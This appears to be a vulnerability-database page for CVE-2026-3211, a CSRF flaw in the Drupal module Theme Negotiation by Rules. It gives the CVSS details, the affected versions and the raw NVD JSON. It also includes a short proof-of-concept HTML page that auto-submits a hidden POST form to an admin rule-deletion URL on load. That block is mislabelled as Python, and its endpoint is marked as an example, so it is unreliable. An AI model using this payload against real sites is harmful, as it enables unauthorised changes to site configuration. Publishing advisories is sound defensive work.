Security Vulnerability Report
中文
CVE-2026-3211 CVSS 4.3 MEDIUM

CVE-2026-3211

Published: 2026-03-25 16:16:22
Last Modified: 2026-03-31 19:23:14

Description

Cross-Site Request Forgery (CSRF) vulnerability in Drupal Theme Negotiation by Rules allows Cross Site Request Forgery.This issue affects Theme Negotiation by Rules: from 0.0.0 before 1.2.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:webikon:theme_negotiation_by_rules:*:*:*:*:*:drupal:*:* - VULNERABLE
Theme Negotiation by Rules < 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-3211 CSRF --> <!-- This PoC attempts to trigger an action in the vulnerable module --> <html> <body> <script> function exploit() { // Target URL for the vulnerable endpoint (Example) var target = "http://example.com/admin/config/user-interface/theme-negotiation/rules/delete/1"; // Create a form to simulate the request var form = document.createElement('form'); form.action = target; form.method = 'POST'; // Add necessary parameters if required by the module var input = document.createElement('input'); input.name = 'confirm'; input.value = '1'; form.appendChild(input); // Append to body and submit automatically document.body.appendChild(form); form.submit(); } // Trigger the exploit on page load window.onload = exploit; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3211", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:22.080", "lastModified": "2026-03-31T19:23:14.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Drupal Theme Negotiation by Rules allows Cross Site Request Forgery.This issue affects Theme Negotiation by Rules: from 0.0.0 before 1.2.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Drupal Theme Negotiation by Rules permite la falsificación de petición en sitios cruzados. Este problema afecta a Theme Negotiation by Rules: desde 0.0.0 antes de 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webikon:theme_negotiation_by_rules:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "F3441E70-ABC2-4D30-8BA6-7C7EC8490466"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-012", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}